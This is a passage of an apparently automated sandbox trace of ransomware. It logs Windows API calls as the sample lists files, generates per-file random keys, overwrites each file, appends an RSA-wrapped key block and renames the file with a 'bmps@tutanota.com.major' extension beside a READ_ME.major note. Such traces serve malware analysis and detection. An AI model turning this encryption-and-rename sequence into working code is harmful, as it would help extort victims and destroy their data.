lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b017f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b017f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x5d7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="nxquery.inf", cAlternateFileName="")) returned 1 [0149.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0149.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.932] GetLastError () returned 0x0 [0149.932] SetLastError (dwErrCode=0x0) [0149.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0149.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.932] GetLastError () returned 0x0 [0149.932] SetLastError (dwErrCode=0x0) [0149.932] GetLastError () returned 0x0 [0149.932] SetLastError (dwErrCode=0x0) [0149.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0149.933] FindNextFileW (in: hFindFile=0x630ac0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b2895, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b2895, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x4eb0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NXQuery.sys", cAlternateFileName="")) returned 1 [0149.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0149.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.933] GetLastError () returned 0x0 [0149.933] SetLastError (dwErrCode=0x0) [0149.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0149.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.933] GetLastError () returned 0x0 [0149.933] SetLastError (dwErrCode=0x0) [0149.933] GetLastError () returned 0x0 [0149.933] SetLastError (dwErrCode=0x0) [0149.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0149.933] FindNextFileW (in: hFindFile=0x630ac0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156b04eb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x156b04eb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x156b04eb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0149.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0149.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0149.933] GetLastError () returned 0x0 [0149.933] SetLastError (dwErrCode=0x0) [0149.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0149.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0149.933] GetLastError () returned 0x0 [0149.933] SetLastError (dwErrCode=0x0) [0149.933] GetLastError () returned 0x0 [0149.933] SetLastError (dwErrCode=0x0) [0149.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.933] FindNextFileW (in: hFindFile=0x630ac0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156b04eb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x156b04eb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x156b04eb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0149.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0149.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.933] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.933] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\i386\\NXQuery.sys", dwFileAttributes=0x80) returned 1 [0149.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0149.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0149.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0149.934] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\NXQuery.sys" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0149.934] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=20144) returned 1 [0149.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4eb0) returned 0x6518a0 [0149.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4eb0) returned 0x656758 [0149.934] ReadFile (in: hFile=0x634, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x4eb0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x4eb0, lpOverlapped=0x0) returned 1 [0149.957] SetFilePointer (in: hFile=0x634, lDistanceToMove=-20144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.957] WriteFile (in: hFile=0x634, lpBuffer=0x656758*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x656758*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4eb0, lpOverlapped=0x0) returned 1 [0149.958] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0149.958] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656758 | out: hHeap=0x570000) returned 1 [0149.958] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4eb0 [0149.958] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.958] WriteFile (in: hFile=0x634, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.958] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.958] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.958] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.958] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="2Bzv3q3ZCuhoEtvFia+Antc/ARuqXi6uI7sErJJwiT/gKogTlYfMKpQ6rz7CEsYo\noA7Fmn8vSLaCnZcuHjlQRG//Wwm1qU5BBuIq2CxpU8V+y4lsD1+jWVgLPzsJOunt\nu1JHyQUd9wW+ErBFrja2QFBYeq7tYLpNo4KL3vhlFZ+gSdKFMmpRL4M8qDz1PYtQ\n/i0OktweTCuunCnM95r1ooJ1Wf6iVm77SuXW45W91puaXsDVl2J+aCPe8Qvszog0\nw6TZUIUabg7niEkd9295cjgpndBaLxh0JK22TPLo3zRARfBFw0LnGuBQBmxAjSxT\npryJ3QZvTgCcFdoEKUGzuQ==\n", pcchString=0x2e3f9a8) returned 1 [0149.958] WriteFile (in: hFile=0x634, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.958] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.958] WriteFile (in: hFile=0x634, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.959] CloseHandle (hObject=0x634) returned 1 [0149.959] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.959] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\i386\\NXQuery.sys" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.sys"), lpNewFileName="\\Windows10Upgrade\\resources\\i386\\NXQuery.sys.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.sys.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.960] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0149.960] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.960] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0149.960] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0149.960] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0149.960] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.960] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.960] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.inf", dwFileAttributes=0x80) returned 1 [0149.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0149.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e5c0 [0149.961] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0149.961] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0149.961] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1495) returned 1 [0149.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5d7) returned 0x5b5a90 [0149.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5d7) returned 0x6518a0 [0149.961] ReadFile (in: hFile=0x634, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x5d7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x5d7, lpOverlapped=0x0) returned 1 [0149.962] SetFilePointer (in: hFile=0x634, lDistanceToMove=-1495, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.962] WriteFile (in: hFile=0x634, lpBuffer=0x6518a0*, nNumberOfBytesToWrite=0x5d7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5d7, lpOverlapped=0x0) returned 1 [0149.962] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0149.962] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0149.962] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5d7 [0149.963] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.963] WriteFile (in: hFile=0x634, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.963] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.963] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.963] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.963] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.963] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="/ZRTFjRl/RKp3Anq3TzB1TAxVfkl3aIX3LKXbey07A2QBGbdXdIoCQUNAjSiRkXF\nuPqqV6O95tdPF8Rew15RnPq8D3sOuLs1oF+uozs9MZQP++nFeAsmwpis9/SvKd42\ngliRZ+kRfoUzkgRM018FQuc8xZYsA7OnqGf+kvNmRwbuP4QmHnmKG+Ix6ptGLrON\nhZr4YwyP8Ux+anp+62WsQez9wlYBksApS7vvsgI6dA7pc8Vh5nEEPHsawI2FMNyU\n1J+Sn+6Qd1HBHNLShiVLkAj0grdN603BULD/ClWQrH/PZgKuAwoisvwHnFUTqcC9\nmmhpDww7krTmb9mEcvfDHw==\n", pcchString=0x2e3f9a8) returned 1 [0149.963] WriteFile (in: hFile=0x634, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.963] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.963] WriteFile (in: hFile=0x634, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.963] CloseHandle (hObject=0x634) returned 1 [0149.964] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.964] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf"), lpNewFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.inf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0149.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0149.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0149.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0149.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.965] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.965] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.cat", dwFileAttributes=0x80) returned 1 [0149.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0149.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0149.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0149.966] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0149.966] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=9860) returned 1 [0149.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2684) returned 0x6518a0 [0149.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2684) returned 0x653f30 [0149.966] ReadFile (in: hFile=0x634, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x2684, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2684, lpOverlapped=0x0) returned 1 [0149.967] SetFilePointer (in: hFile=0x634, lDistanceToMove=-9860, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.968] WriteFile (in: hFile=0x634, lpBuffer=0x653f30*, nNumberOfBytesToWrite=0x2684, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x653f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2684, lpOverlapped=0x0) returned 1 [0149.968] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0149.968] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653f30 | out: hHeap=0x570000) returned 1 [0149.968] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2684 [0149.968] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.968] WriteFile (in: hFile=0x634, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.968] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.968] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.968] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.968] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.968] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="nJBvUuSiIQGl8U0p8UQDvy2A8te6BpumJwfnjCTs0wCJB1FXPgU6b5bUDfdqvINy\nFJIF3HKmHuKUKcwaI6Q/wr4YOOcm1dIPqdG8or1ROU9YrzJOIkLA7FRXs8PG8CGE\nje8C+mP6mM7qSB/YkvYo9S2XJpKw2yZOGAOoxnaMZnnKa2E50hRxq5Yj62rCRHPK\nnS0LeQbWO8gZ1ddFmeuTj+JsYNJMQz7rZLXG4PT+r6OjiRevahxqLCB7TvIIgTYF\ne/ZxbPk/SiuGGJQfFd3Pf5kUIKZpA1QXASzvtD2dOt0z4hYwKtwSnKNiv1UkmJji\nhEIk5FM9Ff8fB7DO3PQTVg==\n", pcchString=0x2e3f9a8) returned 1 [0149.968] WriteFile (in: hFile=0x634, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.969] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.969] WriteFile (in: hFile=0x634, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.969] CloseHandle (hObject=0x634) returned 1 [0149.969] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.969] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat"), lpNewFileName="\\Windows10Upgrade\\resources\\i386\\nxquery.cat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0149.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0149.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0149.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0149.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.971] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.971] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\i386\\hwexclude.txt", dwFileAttributes=0x80) returned 1 [0149.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0149.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0149.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0149.971] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0149.972] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2263) returned 1 [0149.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8d7) returned 0x6518a0 [0149.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8d7) returned 0x652180 [0149.972] ReadFile (in: hFile=0x634, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x8d7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x8d7, lpOverlapped=0x0) returned 1 [0150.045] SetFilePointer (in: hFile=0x634, lDistanceToMove=-2263, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0150.045] WriteFile (in: hFile=0x634, lpBuffer=0x652180*, nNumberOfBytesToWrite=0x8d7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x652180*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8d7, lpOverlapped=0x0) returned 1 [0150.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0150.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652180 | out: hHeap=0x570000) returned 1 [0150.046] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8d7 [0150.046] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0150.046] WriteFile (in: hFile=0x634, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0150.046] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0150.046] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, 